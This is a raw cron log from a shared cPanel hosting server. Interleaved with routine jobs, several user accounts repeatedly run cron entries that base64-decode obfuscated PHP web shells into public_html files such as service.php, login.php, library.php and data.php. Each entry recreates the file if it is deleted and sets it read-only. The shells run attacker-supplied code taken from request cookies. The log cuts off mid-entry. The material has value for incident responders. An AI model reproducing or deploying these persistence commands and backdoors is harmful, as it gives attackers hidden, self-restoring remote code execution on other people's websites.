Apr 19 04:46:01 medusa CROND[6383]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 04:46:01 medusa CROND[6377]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Apr 19 04:46:01 medusa CROND[6395]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:47:01 medusa CROND[30485]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 04:47:01 medusa CROND[30487]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 04:47:01 medusa CROND[30488]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 04:47:01 medusa CROND[30489]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Apr 19 04:47:01 medusa CROND[30490]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 04:47:01 medusa CROND[30492]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:47:01 medusa CROND[30496]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 04:47:01 medusa CROND[30497]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 04:47:01 medusa CROND[30498]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
Apr 19 04:47:01 medusa CROND[30507]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:47:01 medusa CROND[30506]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 04:47:01 medusa CROND[30519]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:47:01 medusa CROND[30520]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:48:01 medusa CROND[22181]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 04:48:01 medusa CROND[22267]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 04:48:01 medusa CROND[22268]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:48:01 medusa CROND[22269]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 04:48:01 medusa CROND[22270]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 04:48:01 medusa CROND[22271]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 04:48:01 medusa CROND[22272]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:48:01 medusa CROND[22273]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Apr 19 04:48:01 medusa CROND[22274]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 04:48:01 medusa CROND[22276]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 04:48:01 medusa CROND[22277]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 04:48:01 medusa CROND[22279]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:48:01 medusa CROND[22292]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:49:01 medusa CROND[14246]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 04:49:01 medusa CROND[14247]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 04:49:01 medusa CROND[14248]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Apr 19 04:49:01 medusa CROND[14250]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 04:49:01 medusa CROND[14252]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo 